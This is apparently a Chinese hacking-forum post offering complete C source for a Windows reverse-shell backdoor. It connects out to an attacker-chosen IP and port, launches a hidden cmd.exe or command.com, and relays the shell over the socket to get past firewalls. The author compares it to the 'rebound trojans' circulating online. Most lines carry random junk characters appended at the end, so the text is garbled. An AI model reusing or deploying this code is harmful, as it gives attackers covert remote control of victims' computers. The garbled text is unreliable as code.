这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 4w 7vgB
//$^~}wt
/* ============================== La7}zXx
Rebound port in Windows NT $`C$|9S
By wind,2006/7 cI7a TLC"s
===============================*/ }LWrtmc
#include :.-KM7tDI1
#include L&5zr_
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#pragma comment(lib,"wsock32.lib") WdJeh:h
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void OutputShell(); 3c`
SOCKET sClient; mxc^IRj
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; Z0V6cikW6
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void main(int argc,char **argv) 0(uba3z
{ sG|,#XQ
WSADATA stWsaData; gV5mERKs
int nRet; rb>2l3g*
SOCKADDR_IN stSaiClient,stSaiServer; 6k7x7z
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if(argc != 3) v,3}YDu
{ oO;<$wx2t
printf("Useage:\n\rRebound DestIP DestPort\n"); p Bu}c<
return; !0X"^VB
} K_X(j$2Xc
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WSAStartup(MAKEWORD(2,2),&stWsaData); 94rx4"AN8;
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); uE#i3(
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stSaiClient.sin_family = AF_INET; pqbKPpG
stSaiClient.sin_port = htons(0); D/2;b;-
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); #g
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) .+ic6
{ d5W=?
printf("Bind Socket Failed!\n"); $M4C4_oPy
return; fL&e^Q
} #D+.z)iZn
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stSaiServer.sin_family = AF_INET; Dx P65wU
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); $*9:a3>zny
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); /hGu42YG
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) cgQ2Wo7tCq
{ V4g vKWc
printf("Connect Error!"); mO0#xY_z
return; *^\u%Ir"
} Vgj[m4l
OutputShell(); 1!ijRr
} aU] nh. a
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void OutputShell() 0gKSjTqo
{ Xu{S4#1
char szBuff[1024]; MG,?,1_ &
SECURITY_ATTRIBUTES stSecurityAttributes; 61z^(F$@
OSVERSIONINFO stOsversionInfo; z8PV&o
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; W%#LHluP
STARTUPINFO stStartupInfo; Q>/[*(.Wd
char *szShell; %BkPkQA
PROCESS_INFORMATION stProcessInformation; "Z
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unsigned long lBytesRead; 5PKdMEK|q
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); {1vlz>82
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); )x&>Cf<,
stSecurityAttributes.lpSecurityDescriptor = 0; SYv5{bff =
stSecurityAttributes.bInheritHandle = TRUE; tlmfDQD
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); ZV:0:k.x
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); 9q<?xO
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); I}/-zyx>=
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Zu^J X/um
stStartupInfo.wShowWindow = SW_HIDE; EMS$?"K
stStartupInfo.hStdInput = hReadPipe; Y&*nj`n
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; kc"SUiy/
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GetVersionEx(&stOsversionInfo); `vrLFPdO
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switch(stOsversionInfo.dwPlatformId) `S/;S<';
{ a#P{ [
case 1: ey[+"6Awne
szShell = "command.com"; d?OsVT;U
break; -<n]Sv;V
default: h&t9CpTfeJ
szShell = "cmd.exe"; +dK;\wT
break; '$be+Z32
} ljO t~@Ea
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); :#spL*FIx
h@(S];.
send(sClient,szMsg,77,0); P:HmT
while(1) dmE.yVI"O
{ ?(j:F2dU~
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); r(/+-
t
if(lBytesRead) !W45X}/o
{ l0{R`G,
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); j}@n`[V1
send(sClient,szBuff,lBytesRead,0); ns !Mqcm
} 4VfZw\^
else 25jgM!QBXF
{ l=t$XWh!
lBytesRead=recv(sClient,szBuff,1024,0); q{oppali
if(lBytesRead<=0) break; \MFjb IL
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); W&0KO-}ot
} !5[5l!{x
} 2z027P-Q
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return; U>kL|X3 V
}